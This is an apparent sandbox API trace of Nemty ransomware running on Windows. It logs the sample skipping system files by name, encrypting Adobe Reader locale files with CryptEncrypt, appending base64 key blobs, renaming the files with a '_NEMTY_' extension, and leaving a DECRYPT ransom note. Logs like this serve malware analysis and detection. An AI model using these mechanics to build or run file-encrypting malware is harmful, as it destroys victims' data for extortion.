WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.886] Sleep (dwMilliseconds=0x5) [0173.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b4b43d0, dwHighDateTime=0x1d561e8)) [0173.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b4b43d0, dwHighDateTime=0x1d561e8)) [0173.891] GetLastError () returned 0x0 [0173.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.891] GetLastError () returned 0x0 [0173.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.891] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.891] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.891] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.891] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Yiy8qXHsBHo9pVI7l7LGFQ9Y30siZjyqzMqniqCSEcLoj6WWzhcoZdYd3M14zBgB\r\nlO9za08Cqzo4TI4R/q8W8vkrI7GOPXqSF1Jjmx/S9yl2zGuuGUpHLJkOmvGQv3Mh\r\nSzu9j9NJGCfGgZNc7RDOiRIWeYFlEbOAjIKusxd7kgWRGOsPjMV15zfujmLm49Gh\r\nd62HY/DH3hgS5Dl+oB7CYJ8+Lbs41y5QBAroGgJjMYCB3AwhwlGkIovwUZRAeZf1\r\nnCwwz6YqkkEyV89/uuetLPX5foNRWZpLZN/saue7xakq64Ii6se9hEA8gBKcBLfk\r\n+/fgu9PSTVvOiiwm8pyETg==\r\n", pcchString=0x653e5dc) returned 1 [0173.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.895] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0173.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0173.895] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.895] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0173.897] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.897] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.898] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0173.898] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.898] CloseHandle (hObject=0x2e8) returned 1 [0173.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.898] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat._nemty_kgobjgd_")) returned 1 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.899] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2=".") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="..") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="...") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="windows") returned -1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="rsa") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="NTDETECT.COM") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="ntldr") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="MSDOS.SYS") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="IO.SYS") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="boot.ini") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="boot.ini") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="ntuser.dat") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="desktop.ini") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="CONFIG.SYS") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="RECYCLER") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="BOOTSECT.BAK") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="bootmgr") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="programdata") returned 1 [0173.899] lstrcmpiW (lpString1="WebLink.CAT", lpString2="appdata") returned 1 [0173.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CAT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CAT", lpUsedDefaultChar=0x0) returned 11 [0173.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.900] Sleep (dwMilliseconds=0x5) [0173.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b4da530, dwHighDateTime=0x1d561e8)) [0173.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b4da530, dwHighDateTime=0x1d561e8)) [0173.908] GetLastError () returned 0x0 [0173.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.908] GetLastError () returned 0x0 [0173.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.909] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.909] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Rh3x33pWw1fADvrQ8SeiG/5kAetmLRwd7L49apGM4VmHtV+KVSYudmVbQZUjav/f\r\nOEAEcw8GceokfCgtIYS2irarWibBQEp7U0kmRZO/l3Pu1tLXT/D4iJm8p4g9wfQA\r\nwFLce6usfNZLNcTJ8znw7ZFAlYswRcwWrTmxXDqhpjp7OOOudxmw0Q17gNdLaxw7\r\nTu7GNfQX80A4ahcEzZlaA9L7d4bXMvBplNRP8oUiOYYFBJprFjGBYEQ+F/tM8HgI\r\nk7D3zBPpgXgqOus6YoWNInKHUXjSrQX6tRsYRxP3dXpcIc5mb3SmcbW9oc8vDT6/\r\n4tUKST2CxQpniNHI0kQpcw==\r\n", pcchString=0x653e5dc) returned 1 [0173.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.909] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29184) returned 1 [0173.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7200) returned 0x6352c48 [0173.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.909] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7200, lpOverlapped=0x0) returned 1 [0173.915] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.915] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7200, lpOverlapped=0x0) returned 1 [0173.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.915] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0173.915] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.915] CloseHandle (hObject=0x2e8) returned 1 [0173.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.916] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat._nemty_kgobjgd_")) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.917] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afa5510, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afcb670, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.917] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.917] lstrcmpiW 